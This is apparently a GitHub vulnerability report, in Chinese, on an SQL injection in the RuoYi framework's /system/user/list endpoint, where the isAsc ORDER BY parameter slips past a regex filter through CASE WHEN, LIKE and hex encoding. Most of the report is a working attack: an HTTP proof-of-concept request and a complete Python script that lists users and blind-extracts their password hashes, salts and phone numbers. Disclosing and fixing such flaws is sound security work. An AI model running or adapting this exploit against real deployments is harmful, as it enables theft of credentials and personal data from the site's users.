-
-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Open
Description
1. 漏洞摘要 / Executive Summary
在 RuoYi 框架的 /system/user/list 接口(以及其他使用相同排序逻辑的接口)中存在 SQL 注入漏洞。虽然框架使用了 SqlUtil.java 对 ORDER BY 参数进行了正则校验,但攻击者可以通过构造特殊的 SQL 语句绕过该正则限制。
攻击者可以在不使用被禁止字符(如括号 ()、引号 '、等号 =)的情况下,利用 CASE WHEN 逻辑、LIKE 运算符和十六进制编码(Hex Encoding),实现布尔盲注(Boolean Blind SQL Injection)。该漏洞允许未授权或低权限攻击者从 sys_user 表中批量提取敏感数据(如密码哈希、手机号、邮箱等)。
2. 漏洞根源分析 / Root Cause Analysis
脆弱组件
- 文件:
ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java - 方法:
escapeOrderBySql(String value)&isValidOrderBySql(String value)
详细分析
框架试图使用正则表达式白名单来清洗 ORDER BY 子句:
// SqlUtil.java 中的当前正则
public static String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+";该正则成功拦截了常见的注入符号,如 ' (单引号), " (双引号), ( (左括号), ) (右括号), = (等号)。但是,它允许字母、数字、下划线、空格、逗号和点号。
绕过逻辑 (Bypass):
攻击者可以仅使用允许的字符构造合法的 SQL 逻辑判断语句:
- 逻辑控制: 使用
CASE WHEN ... THEN ... ELSE ... END替代IF()函数(不需要括号)。 - 字符串处理: 使用十六进制编码(如
0x61646d696e)替代字符串字面量(不需要引号)。MySQL 原生支持 Hex 与字符串的比较。 - 比较操作: 使用
LIKE替代=(不需要等号)。
通过上述组合,攻击者可以将 isAsc 参数变为一个逻辑侧信道,根据排序结果的改变来推断数据。
3. 漏洞复现 (PoC) / Proof of Concept
3.1 HTTP 请求 Payload
以下请求演示了如何通过 isAsc 参数注入逻辑判断。
目标 URL: http://127.0.0.1/system/user/list
Method: POST
POST /system/user/list HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=YOUR_SESSION_ID
X-Requested-With: XMLHttpRequest
pageNum=1&pageSize=10&orderByColumn=status&isAsc=, CASE WHEN u.user_id LIKE 2 THEN CASE WHEN u.password LIKE 0x24326125 THEN 0 ELSE 2 END ELSE 1 END
Payload 解析:
u.user_id LIKE 2: 锁定目标用户(例如 ID 为 2 的用户)。u.password LIKE 0x24326125: 判断密码字段是否以$2a%开头(Hex 编码)。- 注入逻辑: 如果上述条件成立,该用户在结果集中的排序权重设为
0(置顶);否则权重设为2(置底)。其他用户权重为1。 - 观察点: 攻击者只需观察 ID 为 2 的用户是否排在列表第一位,即可确认猜测是否正确。
3.2 EXP脚本 (Python)
以下脚本演示了如何利用该漏洞,在没有任何报错回显的情况下,逐位提取用户的密码哈希。
import requests
import binascii
import sys
import time
import json
# --- 配置区域 ---
# 替换为你最新的 Cookie
COOKIE_VAL = "6553c264-d6e6-4d4d-be31-1782d8a610d4"
TARGET_URL = "http://127.0.0.1/system/user/list"
# 设置请求头
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Cookie": f"JSESSIONID={COOKIE_VAL}",
"User-Agent": "Mozilla/5.0"
}
# 需要提取的字段列表 (数据库列名)
# 若依默认表别名为 u, 所以是 u.password, u.salt 等
COLUMNS_TO_EXTRACT = [
{"name": "password", "desc": "密码哈希", "charset": "$a210.bcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456789/"},
{"name": "salt", "desc": "加密盐值", "charset": "abcdefghijklmnopqrstuvwxyz0123456789"},
{"name": "phonenumber", "desc": "手机号码", "charset": "0123456789"}
]
def string_to_hex_pattern(s):
# 将字符串转为 hex,并附加 % 的 hex 值 (25)
return "0x" + binascii.hexlify(s.encode()).decode() + "25"
def get_all_users():
"""
第一步:获取当前列表可见的所有用户 ID
"""
print("[*] 正在获取用户列表...")
data = {
"pageNum": "1",
"pageSize": "100", # 尝试获取多一点
"orderByColumn": "createTime",
"isAsc": "asc"
}
try:
res = requests.post(TARGET_URL, headers=HEADERS, data=data, timeout=10)
if res.status_code == 200:
json_data = res.json()
users = []
if "rows" in json_data:
for row in json_data["rows"]:
users.append({
"id": row["userId"],
"name": row["loginName"]
})
print(f"[+] 发现 {len(users)} 个用户: {[u['name'] for u in users]}")
return users
except Exception as e:
print(f"[-] 获取用户列表失败: {e}")
return []
return []
def extract_column(user_id, user_name, col_config):
"""
针对特定用户、特定字段进行盲注提取
"""
col_name = col_config["name"]
desc = col_config["desc"]
charset = col_config["charset"]
print(f"\n -> 正在提取 [{user_name}] 的 {desc} (u.{col_name})...")
extracted_val = ""
while True:
found_char = False
for char in charset:
current_guess = extracted_val + char
hex_pattern = string_to_hex_pattern(current_guess)
# --- 核心 Payload ---
# 逻辑: u.user_id LIKE {id} AND u.{col} LIKE {hex} -> 排第一 (0)
# 否则 -> 排其他 (1 或 2)
# 这里的 LIKE 代替了 =
payload = f", CASE WHEN u.user_id LIKE {user_id} THEN CASE WHEN u.{col_name} LIKE {hex_pattern} THEN 0 ELSE 2 END ELSE 1 END"
data = {
"pageNum": "1",
"pageSize": "10",
"orderByColumn": "status", # 必须使用非唯一字段作为主排序
"isAsc": payload
}
try:
res = requests.post(TARGET_URL, headers=HEADERS, data=data, timeout=5)
if res.status_code == 200:
json_data = res.json()
if "rows" in json_data and len(json_data["rows"]) > 0:
first_id = json_data["rows"][0]["userId"]
# 判定:如果排第一的是目标用户,说明猜对了
if first_id == user_id:
extracted_val += char
sys.stdout.write(f"\r 发现字符: {extracted_val}")
sys.stdout.flush()
found_char = True
break
except Exception:
pass
if not found_char:
break
return extracted_val
def main():
print("=== RuoYi OrderBy 批量信息提取脚本 (Bypass Regex) ===\n")
# 1. 获取所有用户
users = get_all_users()
if not users:
print("[-] 未找到用户或无法连接,请检查 Cookie。")
return
# 2. 遍历提取
final_results = {}
for user in users:
uid = user["id"]
uname = user["name"]
print(f"\n[*] 开始处理用户: {uname} (ID: {uid})")
user_data = {}
for col in COLUMNS_TO_EXTRACT:
val = extract_column(uid, uname, col)
user_data[col["name"]] = val
if val:
print(f"\n [+] {col['desc']}: {val}")
else:
print(f"\n [-] {col['desc']}: 未提取到数据")
final_results[uname] = user_data
# 3. 输出最终报告
print("\n\n" + "="*30)
print(" 最终脱库报告 ")
print("="*30)
for name, info in final_results.items():
print(f"用户: {name}")
print(f" 密码: {info.get('password', 'N/A')}")
print(f" 盐值: {info.get('salt', 'N/A')}")
print(f" 手机: {info.get('phonenumber', 'N/A')}")
print("-" * 20)
if __name__ == "__main__":
main()

Metadata
Metadata
Assignees
Labels
No labels